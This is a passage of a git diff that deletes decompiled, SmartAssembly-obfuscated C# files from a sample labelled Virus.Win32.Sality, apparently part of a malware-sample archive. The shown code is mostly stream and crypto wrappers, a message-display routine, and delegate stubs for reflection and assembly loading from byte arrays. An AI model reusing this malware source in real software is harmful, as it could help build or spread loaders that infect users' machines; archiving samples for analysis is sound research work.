= (ValueType) obj2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj3; - throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0003([In] object obj0) - { - try - { - ((CryptoStream) obj0).FlushFinalBlock(); - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0006([In] object obj0) - { - try - { - return (object) ((MemoryStream) obj0).ToArray(); - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0004([In] object obj0) - { - try - { - ((Stream) obj0).Close(); - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0005([In] object obj0) - { - try - { - ((BinaryReader) obj0).Close(); - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0003([In] object obj0, [In] int obj1) - { - try - { - return BitConverter.ToInt32((byte[]) obj0, obj1); - } - catch (Exception ex) - { - object obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj1; - throw UnhandledException.\u0003(ex, obj, (object) local); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0003() - { - try - { - return (object) Encoding.Unicode; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) - { - try - { - return (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3); - } - catch (Exception ex) - { - object obj4 = obj0; - object obj5 = obj1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj3; - throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0003() - { - try - { - return true; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0004() - { - try - { - return false; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - internal delegate uint \u0001( - [MarshalAs(UnmanagedType.U8)] ref ulong _param1, - [In] IntPtr obj1, - [In] IntPtr obj2, - [MarshalAs(UnmanagedType.U4)] uint _param4, - [In] ref IntPtr obj4, - [In] ref uint obj5); - - internal struct \u0002 - { - internal bool \u0001; - internal byte[] \u0001; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0003.cs deleted file mode 100644 index 87f2cbc9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0003.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Web; -using System.Windows.Forms; - -namespace \u0008 -{ - internal sealed class \u0003 - { - private static bool \u0001; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0003() - { - try - { - if (\u0003.\u0001) - return; - \u0003.\u0001 = true; - try - { - int num = (int) MessageBox.Show(\u0002.\u0003(586)); - } - catch - { - try - { - if (HttpContext.Current == null || HttpContext.Current.Response == null) - return; - HttpContext.Current.Response.Write(\u0002.\u0003(752)); - } - catch - { - } - } - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0003() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0003.cs deleted file mode 100644 index 25ee0fd7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0008\u0003([In] string obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0004.cs deleted file mode 100644 index 7d5b93f5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo \u0008\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0005.cs deleted file mode 100644 index eb7913f8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly \u0008\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0003.cs deleted file mode 100644 index c22af53f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u000E\u0003([In] object obj0, [In] bool obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0004.cs deleted file mode 100644 index b818fad8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly \u000E\u0004([In] byte[] obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0005.cs deleted file mode 100644 index 84aba9e5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u000E\u0005([In] object obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0003.cs deleted file mode 100644 index 8d62ef74..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate DirectoryInfo \u000F\u0003([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0004.cs deleted file mode 100644 index 6338e9bf..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u000F\u0004([In] object obj0, [In] Font obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0005.cs deleted file mode 100644 index cb598621..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Net; -using System.Runtime.InteropServices; - -internal delegate void \u000F\u0005([In] object obj0, [In] IWebProxy obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0003.cs deleted file mode 100644 index 99fa9c74..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0010\u0003([In] string obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0004.cs deleted file mode 100644 index 0d0f9251..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate FieldInfo \u0010\u0004([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0005.cs deleted file mode 100644 index 426dbc6e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0010\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0003.cs deleted file mode 100644 index a0b4d610..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0011\u0003([In] object obj0, [In] object obj1, [In] EventArgs obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0004.cs deleted file mode 100644 index 56a5329e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0011\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0005.cs deleted file mode 100644 index b87190d3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.ComponentModel; -using System.Runtime.InteropServices; - -internal delegate void \u0011\u0005([In] object obj0, [In] CancelEventArgs obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0003.cs deleted file mode 100644 index e2f50e39..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0012\u0003([In] object obj0, [In] FormStartPosition obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0004.cs deleted file mode 100644 index 5bc461c0..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -internal delegate void \u0012\u0004([In] object obj0, [In] SerializationInfo obj1, [In] StreamingContext obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0005.cs deleted file mode 100644 index 953f2935..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0005.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo \u0012\u0005([In] object obj0, [In] string obj1, [In] Type[] obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0003.cs deleted file mode 100644 index f117d8cf..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate DialogResult \u0013\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0004.cs deleted file mode 100644 index 6d4c1bd7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0013\u0004([In] object obj0, [In] float obj1, [In] float obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0005.cs deleted file mode 100644 index 76204c0f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: 